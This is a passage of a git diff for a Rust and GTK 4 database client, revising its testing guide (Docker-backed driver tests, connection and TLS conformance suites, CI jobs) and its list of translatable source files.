`testcontainers-rs` integration tests | Yes | -| `app` | GTK4 + Relm4 components | Limited; pure logic in `services/` is unit-tested | No | +| `session` | Sessions, connect, health | Unit tests with the `fakes` feature + `testcontainers-rs` tests | Yes | +| `drivers/` | Real engines | Unit tests, the conformance suites, `testcontainers-rs` integration tests | Yes | +| `app` | GTK 4 widgets | `#[gtk4::test]` widget tests; pure logic is unit-tested | Yes | ## Unit tests @@ -19,10 +20,10 @@ mod tests { use super::*; #[test] - fn maps_unique_violation_to_query_error() { - let err = sqlx::Error::Database(/* ... */); - let mapped = map_sqlx_error(err); - assert!(matches!(mapped, DriverError::Query { sqlstate: Some(_), .. })); + fn verify_full_is_default() { + let form = ConnectForm::new("postgres", drivers_postgres::PgDriver.capabilities()); + + assert_eq!(form.tls.mode, TlsMode::VerifyFull); } } ``` @@ -54,29 +55,30 @@ Per-crate `tests/` directory. One file per scenario. For `storage`, integration tests use `tempfile::TempDir` to run against an isolated filesystem root, with `XDG_CONFIG_HOME` overridden via env var. -For drivers, integration tests use [`testcontainers`](https://docs.rs/testcontainers/latest/testcontainers/) to spin up a real database. The pattern is identical for every driver: +For drivers, integration tests use [`testcontainers`](https://docs.rs/testcontainers/latest/testcontainers/) through the fixtures in `tablepro-test-fixtures`. Each driver's `tests/integration/support.rs` turns a fixture into `ConnectOptions` and a connected `Connection`: ```rust -use testcontainers::ImageExt; -use testcontainers_modules::postgres::Postgres; -use testcontainers_modules::testcontainers::runners::AsyncRunner; +use tablepro_core::meta::{ObjectKind, ObjectScope}; + +use crate::support::{CALL, connect, setup, start, within}; -#[tokio::test] +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] #[ignore = "requires docker"] -async fn list_tables_returns_seeded_tables() { - let container = Postgres::default().with_tag("16-alpine").start().await.unwrap(); - let host = container.get_host().await.unwrap().to_string(); - let port = container.get_host_port_ipv4(5432).await.unwrap(); +async fn a_created_table_is_listed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE plain (id int)"]).await; - let conn = PgDriver.connect(opts_for(host, port)).await.unwrap(); + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); - conn.execute("CREATE TABLE foo (id INT)").await.unwrap(); - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "foo")); + assert!(objects.iter().any(|object| object.name == "plain" && object.kind == ObjectKind::Table)); } ``` -Keep the container alive for the whole test: dropping the handle stops it. +Keep the fixture alive for the whole test: dropping it stops the container. ### Container fixtures @@ -93,6 +95,49 @@ SQL Server has only the `sa` principal, because its TLS contract carries no clie `HbaMode` picks what the PostgreSQL fixture accepts: `Password` (the image defaults, no TLS), `HostSslOnly`, or `ClientCertificate`. `OpenSshFixture` takes an `SshAuthVariant`: `Password`, `PublicKey`, `KeyboardInteractive` or `HostCertificate`. `HostKeyRevocation` builds a KRL from the running server's host key, and `ScriptedAskpass` writes a 0700 script for `SSH_ASKPASS`. +### Conformance + +Every driver runs the same contract tests against its real server. `tablepro_test_support::connection_conformance_suite!` emits them from an engine adapter the driver's `tests/integration/conformance_engine.rs` implements (`ConformanceEngine`: how to start the server, connect, and spell a scratch table, a statement that never ends and a row source): + +```rust +tablepro_test_support::connection_conformance_suite! { + engine: PgEngine, + docker: true, + endpoint: network, + pool: pooled, + editor_transactions: true, + unsupported_types: true, + bounded_ddl: true, +} +``` + +The cases every engine runs: a created table is listed with its key, a query bound times out within its deadline, a cancelled editor run reports it and leaves the session ready, a read-only connection refuses writes, a write batch commits every step and a failed one ends as the driver's atomicity says, a row guard mismatch applies nothing, `close` is idempotent, and `stream_read` streams every row in bounded batches. + +Each flag adds cases and needs its engine trait: + +| Flag | Adds | Needs | +|---|---|---| +| `endpoint: network` | a dropped caller stops the server's statement; a lost transport reports `ConnectionLost` | `NetworkConformanceEngine` | +| `pool: pooled` | a probe succeeds while every pool slot is busy | `PooledConformanceEngine` | +| `editor_transactions: true` | the row limit keeps the transaction and the statements after it | `EditorTransactionEngine` | +| `unsupported_types: true` | an unsupported type never decodes as NULL | `TypedConformanceEngine` | +| `bounded_ddl: true` | a schema-change batch is not cut off by the statement timeout | `BoundedDdlEngine` | + +A flag that is off emits no test. `suite_flags_match_driver_capabilities` is always emitted and never ignored: it fails when `endpoint` or `editor_transactions` disagrees with the driver's `DriverCapabilities`, so a driver cannot skip a case by declaring less. `docker: true` marks every other case `#[ignore = "requires docker"]`; SQLite passes `docker: false` and `endpoint: file`, so its suite runs in the unit suite. + +### TLS conformance + +Every network driver also runs `tls_conformance_suite!` against a TLS-only server built from `TestPki`: + +```rust +tablepro_test_support::tls_conformance_suite! { + engine: PgTlsEngine, + client_identity: true, +} +``` + +The adapter (`TlsConformanceEngine`) gives the issuing and the unrelated CA file, the name on the server certificate and the error category a plaintext connect gets. The cases: Verify full with the issuing CA connects; with an unrelated CA it reports `UnknownIssuer`; with the wrong server name it reports `NameMismatch`; Require connects without a CA; Disable against the TLS-only server is refused. `client_identity: true` adds a case where the server requires the client certificate, through `ClientIdentityEngine`; SQL Server passes `false`. Every case needs Docker, and `tls_suite_flags_match_driver_capabilities` checks the flag against the driver's TLS capabilities without it. + ### Ignore reasons Two reasons are allowed: @@ -104,13 +149,13 @@ The workspace denies `clippy::ignore_without_reason`, so a bare `#[ignore]` fail ### Running the docker tests -CI runs one job per driver package: +CI runs one job per package with docker tests: ```bash cargo nextest run --locked --profile ci -p tablepro-driver-mssql --run-ignored only ``` -`.config/nextest.toml` puts each driver's tests in a test group with one thread, so the tests of one suite never compete for a container. The `ci` profile writes a JUnit report to `target/nextest/ci/junit.xml`. +`.config/nextest.toml` puts each driver's tests in a test group with one thread, so the tests of one suite never compete for a container. The `ci` profile writes a JUnit report to `target/nextest/ci/junit.xml` and kills a test that runs past five minutes, so a hang fails with the test's name. Locally, with [cargo-nextest](https://nexte.st/) installed: @@ -174,12 +219,12 @@ There is no app-level end-to-end test yet. Driving the GTK app under `xvfb-run` ## CI -GitHub Actions (`.github/workflows/build-linux.yml`), Ubuntu runner, two jobs: +GitHub Actions (`.github/workflows/build-linux.yml`), Ubuntu runner: 1. **Fast checks**: `meson setup`, `cargo fmt --all -- --check`, clippy with and without default features, `meson compile`, `xvfb-run -a dbus-run-session -- meson test --print-errorlogs`, a Secret Service step under `gnome-keyring-daemon`, then `meson dist`. Runs in an `ubuntu:26.04` container, which ships GLib 2.88 plus the meson, appstream and desktop-file-utils packages. [CONTRIBUTING.md](../CONTRIBUTING.md#fast-job-commands) lists the same commands. -2. **Docker tests**: runs after fast checks pass. One matrix entry per package with docker tests (the PostgreSQL, MySQL, SQL Server and ClickHouse drivers, `tablepro-ssh` against an OpenSSH server container, and `tablepro-test-fixtures` for the fixtures themselves) runs that package's ignored docker tests through cargo-nextest on the host runner's Docker. +2. **Docker tests**: runs after fast checks pass. One matrix entry per package with docker tests (the PostgreSQL, MySQL, SQL Server and ClickHouse drivers, `tablepro-ssh` against an OpenSSH server container, and `tablepro-test-fixtures` for the fixtures themselves) runs that package's ignored docker tests through cargo-nextest on the host runner's Docker. `tablepro-session` builds storage, which needs GLib 2.88, so its job runs in the fast job's `ubuntu:26.04` image with the host's Docker socket mounted. -PRs only merge when both jobs are green. +A Translations job also checks `po/POTFILES.in` and extracts the POT template. PRs only merge when every job is green. ## Coverage diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in index 8bac766522..94d85cf1b4 100644 --- a/linux/po/POTFILES.in +++ b/linux/po/POTFILES.in @@ -10,36 +10,20 @@ crates/app/src/persistence/filter_settings_store.rs crates/app/src/persistence/mod.rs crates/app/src/persistence/state_file.rs crates/app/src/runtime/app_runtime.rs +crates/app/src/runtime/deliver.rs +crates/app/src/runtime/gio_process_hold.rs crates/app/src/runtime/mod.rs +crates/app/src/services/active_session.rs crates/app/src/services/change_tracker.rs -crates/app/src/services/connection_monitor.rs -crates/app/src/services/connection_service.rs -crates/app/src/services/database_service.rs crates/app/src/services/history_availability.rs crates/app/src/services/history_service.rs crates/app/src/services/mod.rs crates/app/src/services/secret_labels.rs crates/app/src/services/secret_save_report.rs +crates/app/src/services/session_context.rs crates/app/src/services/single_instance.rs crates/app/src/services/structure_tracker.rs crates/app/src/services/workspace_state.rs -crates/app/src/session/attempt_generation.rs -crates/app/src/session/attempt_ticket.rs -crates/app/src/session/connect_attempts.rs -crates/app/src/session/failure_cause.rs -crates/app/src/session/file_identity.rs -crates/app/src/session/health_policy.rs -crates/app/src/session/link_generation.rs -crates/app/src/session/mod.rs -crates/app/src/session/monitor_action.rs -crates/app/src/session/monitor_mailbox.rs -crates/app/src/session/monitor_signal.rs -crates/app/src/session/pending_signals.rs -crates/app/src/session/probe_outcome.rs -crates/app/src/session/reachability.rs -crates/app/src/session/reconnect_result.rs -crates/app/src/session/session_health.rs -crates/app/src/session/session_key.rs crates/app/src/storage.rs crates/app/src/test_support.rs crates/app/src/test_support/accessible_label.rs @@ -58,19 +42,57 @@ crates/app/src/ui/app/ran_statements.rs crates/app/src/ui/app/row_ops.rs crates/app/src/ui/app/status_pages.rs crates/app/src/ui/app/structure.rs +crates/app/src/ui/app/teardown_guard.rs crates/app/src/ui/app/workspace_tabs.rs crates/app/src/ui/browse_tab.rs crates/app/src/ui/cell_editor.rs -crates/app/src/ui/connect_dialog.rs +crates/app/src/ui/connect_dialog/connect_form.rs +crates/app/src/ui/connect_dialog/connect_submission.rs +crates/app/src/ui/connect_dialog/form_errors.rs +crates/app/src/ui/connect_dialog/form_field.rs +crates/app/src/ui/connect_dialog/imp.rs +crates/app/src/ui/connect_dialog/mod.rs +crates/app/src/ui/connect_dialog/pem_validation.rs +crates/app/src/ui/connect_dialog/read_only_row.rs +crates/app/src/ui/connect_dialog/row_problem.rs +crates/app/src/ui/connect_dialog/sqlite_file_row.rs +crates/app/src/ui/connect_dialog/tests.rs +crates/app/src/ui/connect_dialog/tls_section.rs crates/app/src/ui/connection_list.rs crates/app/src/ui/connection_list_banner.rs crates/app/src/ui/connection_row.rs +crates/app/src/ui/credential_prompt/mod.rs +crates/app/src/ui/credential_prompt/presenter.rs +crates/app/src/ui/credential_prompt/prompt_form.rs +crates/app/src/ui/credential_prompt/prompt_text.rs +crates/app/src/ui/credential_prompt/prompter.rs +crates/app/src/ui/editor/buffer_edit.rs +crates/app/src/ui/editor/editor_session_slot.rs crates/app/src/ui/editor/format_plan.rs +crates/app/src/ui/editor/imp.rs crates/app/src/ui/editor/mod.rs +crates/app/src/ui/editor/result_item.rs +crates/app/src/ui/editor/result_widgets.rs +crates/app/src/ui/editor/results_pane.rs +crates/app/src/ui/editor/run_history.rs +crates/app/src/ui/editor/run_log.rs +crates/app/src/ui/editor/run_scope.rs +crates/app/src/ui/editor/script_runner.rs +crates/app/src/ui/editor/sidebar_policy.rs crates/app/src/ui/editor/significant_tokens.rs crates/app/src/ui/editor/statement_cursor.rs +crates/app/src/ui/editor/tests.rs +crates/app/src/ui/editor/transaction_dirty.rs crates/app/src/ui/editor_font_provider.rs -crates/app/src/ui/error_text.rs +crates/app/src/ui/error_text/driver.rs +crates/app/src/ui/error_text/mod.rs +crates/app/src/ui/error_text/operation.rs +crates/app/src/ui/error_text/script.rs +crates/app/src/ui/error_text/secret.rs +crates/app/src/ui/error_text/ssh.rs +crates/app/src/ui/error_text/tests.rs +crates/app/src/ui/error_text/tls.rs +crates/app/src/ui/error_text/tls_remedy.rs crates/app/src/ui/export_dialog.rs crates/app/src/ui/filter_strip.rs crates/app/src/ui/grid.rs @@ -101,4 +123,10 @@ data/app.tablepro.TablePro.desktop.in.in data/app.tablepro.TablePro.gschema.xml data/app.tablepro.TablePro.metainfo.xml.in.in data/resources/shortcuts-dialog.ui +data/resources/ui/connect-dialog.ui data/resources/ui/preferences-dialog.ui +data/resources/ui/results-pane.ui +data/resources/ui/sql-editor.ui +data/resources/ui/sqlite-file-row.ui +data/resources/ui/ssh-section.ui +data/resources/ui/tls-section.ui